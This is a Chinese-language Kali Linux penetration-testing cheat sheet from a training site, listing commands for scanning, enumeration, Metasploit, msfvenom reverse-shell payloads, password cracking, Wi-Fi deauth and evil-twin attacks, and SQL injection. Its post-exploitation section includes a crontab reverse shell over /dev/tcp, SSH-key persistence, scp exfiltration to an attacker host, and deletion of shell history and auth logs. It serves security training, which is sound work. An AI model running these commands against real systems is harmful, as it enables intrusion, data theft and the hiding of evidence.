Kali Linux 速查表
通过实战实验室和真实场景学习 Kali Linux 渗透测试。LabEx 提供全面的 Kali Linux 课程,涵盖基本命令、网络扫描、漏洞评估、密码攻击、Web 应用程序测试和数字取证。掌握道德黑客技术和安全审计工具。
系统设置与配置
初始设置:sudo apt update
更新系统包和存储库以获得最佳性能。
# 更新包存储库
sudo apt update
# 升级已安装的包
sudo apt upgrade
# 全系统升级
sudo apt full-upgrade
# 安装基本工具
sudo apt install curl wget git
用户管理:sudo useradd
创建和管理用户账户以进行安全测试。
# 添加新用户
sudo useradd -m username
# 设置密码
sudo passwd username
# 将用户添加到 sudo 组
sudo usermod -aG sudo username
# 切换用户
su - username
服务管理:systemctl
控制系统服务和守护进程以进行测试场景。
# 启动服务
sudo systemctl start apache2
# 停止服务
sudo systemctl stop apache2
# 在启动时启用服务
sudo systemctl enable ssh
# 检查服务状态
sudo systemctl status postgresql
网络配置:ifconfig
配置网络接口以进行渗透测试。
# 显示网络接口
ifconfig
# 配置 IP 地址
sudo ifconfig eth0 192.168.1.100
# 设置接口启动/关闭
sudo ifconfig eth0 up
# 配置无线接口
sudo ifconfig wlan0 up
环境变量:export
设置测试环境的变量和路径。
# 设置目标 IP
export TARGET=192.168.1.1
# 设置字典路径
export WORDLIST=/usr/share/wordlists/rockyou.txt
# 查看环境变量
env | grep TARGET
登录后即可答题并追踪学习进度
export 设置的环境变量会发生什么?工具安装:apt install
安装额外的安全工具和依赖项。
# 安装附加工具
sudo apt install nmap wireshark burpsuite
# 从 GitHub 安装
git clone https://github.com/tool/repo.git
# 安装 Python 工具
pip3 install --user tool-name
网络发现与扫描
主机发现:nmap -sn
使用 ping 扫描识别网络上的活动主机。
# Ping 扫描
nmap -sn 192.168.1.0/24
# ARP 扫描(本地网络)
nmap -PR 192.168.1.0/24
# ICMP 回显扫描
nmap -PE 192.168.1.0/24
# 快速主机发现
masscan --ping 192.168.1.0/24
端口扫描:nmap
扫描目标系统上的开放端口和运行的服务。
# 基本 TCP 扫描
nmap 192.168.1.1
# 侵略性扫描
nmap -A 192.168.1.1
# UDP 扫描
nmap -sU 192.168.1.1
# Stealth SYN 扫描
nmap -sS 192.168.1.1
登录后即可答题并追踪学习进度
nmap -sS 执行什么操作?服务枚举:nmap -sV
识别服务版本和潜在漏洞。
# 版本检测
nmap -sV 192.168.1.1
# 操作系统检测
nmap -O 192.168.1.1
登录后即可答题并追踪学习进度
nmap -sV 执行什么操作?信息收集与侦察
DNS 枚举: dig
收集 DNS 信息并执行区域传输。
# 基本 DNS 查询
dig example.com
# 反向 DNS 查询
dig -x 192.168.1.1
# 区域传输尝试
dig @ns1.example.com example.com axfr
# DNS 枚举
dnsrecon -d example.com
Web 侦察: dirb
发现 Web 服务器上的隐藏目录和文件。
# 目录暴力破解
dirb http://192.168.1.1
# 自定义字典
dirb http://192.168.1.1 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Gobuster 替代方案
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
WHOIS 信息: whois
收集域名的注册和所有权信息。
# WHOIS 查询
whois example.com
# IP WHOIS
whois 8.8.8.8
# 全面信息收集
theharvester -d example.com -l 100 -b google
SSL/TLS 分析: sslscan
分析 SSL/TLS 配置和漏洞。
# SSL 扫描
sslscan 192.168.1.1:443
# Testssl 全面分析
testssl.sh https://example.com
# SSL 证书信息
openssl s_client -connect example.com:443
SMB 枚举: enum4linux
枚举 SMB 共享和 NetBIOS 信息。
# SMB 枚举
enum4linux 192.168.1.1
# 列出 SMB 共享
smbclient -L //192.168.1.1
# 连接到共享
smbclient //192.168.1.1/share
# SMB 漏洞扫描
nmap --script smb-vuln* 192.168.1.1
SNMP 枚举: snmpwalk
通过 SNMP 协议收集系统信息。
# SNMP walk
snmpwalk -c public -v1 192.168.1.1
# SNMP 检查
onesixtyone -c community.txt 192.168.1.1
# SNMP 枚举
snmp-check 192.168.1.1
漏洞分析与利用
漏洞扫描: nessus
使用自动化扫描器识别安全漏洞。
# 启动 Nessus 服务
sudo systemctl start nessusd
# OpenVAS 扫描
openvas-start
# Nikto Web 漏洞扫描器
nikto -h http://192.168.1.1
# SQLmap 用于 SQL 注入
sqlmap -u "http://example.com/page.php?id=1"
Metasploit 框架: msfconsole
启动漏洞利用并管理渗透测试活动。
# 启动 Metasploit
msfconsole
# 搜索漏洞利用
search ms17-010
# 使用漏洞利用
use exploit/windows/smb/ms17_010_eternalblue
# 设置目标
set RHOSTS 192.168.1.1
缓冲区溢出测试: pattern_create
生成用于缓冲区溢出利用的模式。
# 创建模式
pattern_create.rb -l 400
# 查找偏移量
pattern_offset.rb -l 400 -q EIP_value
自定义漏洞利用开发: msfvenom
为特定目标创建自定义载荷。
# 生成 shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# Windows 反向 Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe
# Linux 反向 Shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf
密码攻击与凭证测试
暴力破解攻击: hydra
对各种服务执行登录暴力破解攻击。
# SSH 暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# HTTP 表单暴力破解
hydra -l admin -P passwords.txt 192.168.1.1 http-form-post "/login:username=^USER^&password=^PASS^:Invalid"
# FTP 暴力破解
hydra -L users.txt -P passwords.txt ftp://192.168.1.1
哈希破解: hashcat
使用 GPU 加速破解密码哈希。
# MD5 哈希破解
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# NTLM 哈希破解
hashcat -m 1000 -a 0 ntlm.hash wordlist.txt
# 生成字典变体
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule wordlist.txt
John the Ripper: john
使用各种攻击模式进行传统密码破解。
# 破解密码文件
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
# 显示已破解的密码
john --show shadow.txt
# 增量模式
john --incremental shadow.txt
# 自定义规则
john --rules --wordlist=passwords.txt shadow.txt
字典生成: crunch
创建自定义字典以进行目标攻击。
# 生成 4-8 位字典
crunch 4 8 -o wordlist.txt
# 自定义字符集
crunch 6 6 -t admin@ -o passwords.txt
# 基于模式的生成
crunch 8 8 -t @@@@%%%% -o mixed.txt
无线网络安全测试
监听模式设置: airmon-ng
配置无线适配器以进行数据包捕获和注入。
# 启用监听模式
sudo airmon-ng start wlan0
# 检查干扰进程
sudo airmon-ng check kill
# 停止监听模式
sudo airmon-ng stop wlan0mon
网络发现: airodump-ng
发现和监控无线网络和客户端。
# 扫描所有网络
sudo airodump-ng wlan0mon
# 针对特定网络
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# 仅显示 WEP 网络
sudo airodump-ng --encrypt WEP wlan0mon
WPA/WPA2 攻击: aircrack-ng
对 WPA/WPA2 加密网络执行攻击。
# Deauth 攻击
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# 破解捕获的握手包
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# 使用 Reaver 进行 WPS 攻击
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
邪恶双胞胎攻击: hostapd
创建虚假接入点以收集凭证。
# 启动虚假 AP
sudo hostapd hostapd.conf
# DHCP 服务
sudo dnsmasq -C dnsmasq.conf
# 捕获凭证
ettercap -T -M arp:remote /192.168.1.0/24//
Web 应用程序安全测试
SQL 注入测试: sqlmap
自动化的 SQL 注入检测和利用。
# 基本 SQL 注入测试
sqlmap -u "http://example.com/page.php?id=1"
# 测试 POST 参数
sqlmap -u "http://example.com/login.php" --data="username=admin&password=test"
# 提取数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs
# 导出特定表
sqlmap -u "http://example.com/page.php?id=1" -D database -T users --dump
跨站脚本 (XSS): xsser
测试 Web 应用程序中的 XSS 漏洞。
# XSS 测试
xsser --url "http://example.com/search.php?q=XSS"
# 自动化 XSS 检测
xsser -u "http://example.com" --crawl=10
# 自定义 payload
xsser --url "http://example.com" --payload="<script>alert(1)</script>"
Burp Suite 集成: burpsuite
全面的 Web 应用程序安全测试平台。
# 启动 Burp Suite
burpsuite
# 配置代理 (127.0.0.1:8080)
# 设置浏览器代理以捕获流量
# 使用 Intruder 进行自动化攻击
# 使用 Spider 进行内容发现
目录遍历: wfuzz
测试目录遍历和文件包含漏洞。
# 目录模糊测试
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.1.1/FUZZ
# 参数模糊测试
wfuzz -c -z file,payloads.txt "http://example.com/page.php?file=FUZZ"
渗透后与权限提升
系统枚举: linpeas
用于 Linux 系统的自动化权限提升枚举工具。
# 下载 LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# 赋予可执行权限
chmod +x linpeas.sh
# 运行枚举
./linpeas.sh
# Windows 替代方案:winPEAS.exe
持久性机制: crontab
在受感染的系统上建立持久性。
# 编辑 crontab
crontab -e
# 添加反向 Shell
@reboot /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
# SSH 密钥持久性
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
数据渗出: scp
安全地将数据从受感染的系统传输出来。
# 将文件复制到攻击者机器
scp file.txt user@192.168.1.100:/tmp/
# 压缩并传输
tar -czf data.tar.gz /home/user/documents
scp data.tar.gz attacker@192.168.1.100:/tmp/
# HTTP 渗出
python3 -m http.server 8000
销毁痕迹: history
清除受感染系统上活动的证据。
# 清除 bash 历史记录
history -c
unset HISTFILE
# 清除特定条目
history -d line_number
# 清除系统日志
sudo rm /var/log/auth.log*
数字取证与分析
磁盘镜像: dd
创建存储设备的取证镜像。
# 创建磁盘镜像
sudo dd if=/dev/sdb of=/tmp/evidence.img bs=4096 conv=noerror,sync
# 验证镜像完整性
md5sum /dev/sdb > original.md5
md5sum /tmp/evidence.img > image.md5
# 挂载镜像
sudo mkdir /mnt/evidence
sudo mount -o ro,loop /tmp/evidence.img /mnt/evidence
文件恢复: foremost
从磁盘镜像或驱动器中恢复已删除的文件。
# 从镜像中恢复文件
foremost -i evidence.img -o recovered/
# 特定文件类型
foremost -t jpg,png,pdf -i evidence.img -o photos/
# PhotoRec 替代方案
photorec evidence.img
内存分析: volatility
分析 RAM 转储以获取取证证据。
# 识别操作系统配置文件
volatility -f memory.dump imageinfo
# 列出进程
volatility -f memory.dump --profile=Win7SP1x64 pslist
# 提取进程
volatility -f memory.dump --profile=Win7SP1x64 procdump -p 1234 -D output/
网络数据包分析: wireshark
分析网络流量捕获以获取取证证据。
# 启动 Wireshark
wireshark
# 命令行分析
tshark -r capture.pcap -Y "http.request.method==GET"
# 提取文件
foremost -i capture.pcap -o extracted/
报告生成与文档记录
屏幕截图捕获: gnome-screenshot
通过系统化的屏幕截图捕获来记录发现。
# 全屏捕获
gnome-screenshot -f screenshot.png
# 窗口捕获
gnome-screenshot -w -f window.png
# 延迟捕获
gnome-screenshot -d 5 -f delayed.png
# 区域选择
gnome-screenshot -a -f area.png
日志管理: script
记录终端会话以供文档记录。
# 开始记录会话
script session.log
# 带时间戳记录
script -T session.time session.log
# 重放会话
scriptreplay session.time session.log
报告模板: reportlab
生成专业的渗透测试报告。
# 安装报告工具
pip3 install reportlab
# 生成 PDF 报告
python3 generate_report.py
# Markdown 转 PDF
pandoc report.md -o report.pdf
证据完整性: sha256sum
通过加密哈希维护证据保管链。
# 生成校验和
sha256sum evidence.img > evidence.sha256
# 验证完整性
sha256sum -c evidence.sha256
# 多文件校验和
find /evidence -type f -exec sha256sum {} \; > all_files.sha256
系统维护与优化
包管理: apt
维护和更新系统包和安全工具。
# 更新包列表
sudo apt update
# 升级所有包
sudo apt upgrade
# 安装特定工具
sudo apt install tool-name
# 移除不再需要的包
sudo apt autoremove
内核更新: uname
监控和更新系统内核以进行安全补丁。
# 检查当前内核
uname -r
# 列出可用内核
apt list --upgradable | grep linux-image
# 安装新内核
sudo apt install linux-image-generic
# 移除旧内核
sudo apt autoremove --purge
工具验证: which
验证工具安装并定位可执行文件。
# 定位工具
which nmap
# 检查工具是否存在
command -v metasploit
# 列出目录中的所有工具
ls /usr/bin/ | grep -i security
资源监控: htop
在密集的安全测试期间监控系统资源。
# 交互式进程查看器
htop
# 内存使用情况
free -h
# 磁盘使用情况
df -h
# 网络连接
netstat -tulnp
核心 Kali Linux 快捷方式与别名
创建别名: .bashrc
为常用任务设置节省时间的命令快捷方式。
# 编辑 bashrc
nano ~/.bashrc
# 添加有用的别名
alias ll='ls -la'
alias nse='nmap --script-help'
alias target='export TARGET='
alias msf='msfconsole -q'
# 重新加载 bashrc
source ~/.bashrc
自定义函数: function
为常见工作流程创建高级命令组合。
# 快速 nmap 扫描函数
function qscan() {
nmap -sS -sV -O $1
}
# 渗透测试设置函数
function pentest-setup() {
mkdir -p {recon,scans,exploits,loot}
}
键盘快捷键: Terminal
掌握基本的键盘快捷键以加快导航速度。
# 终端快捷键
# Ctrl+C - 终止当前命令
# Ctrl+Z - 暂停当前命令
# Ctrl+L - 清屏
# Ctrl+R - 搜索命令历史记录
# Tab - 自动完成命令
# 上/下箭头 - 导航命令历史记录
环境配置: tmux
设置持久性终端会话以运行长时间任务。
# 开始新会话
tmux new-session -s pentest
# 分离会话
# Ctrl+B, D
# 列出会话
tmux list-sessions
# 附加到会话
tmux attach -t pentest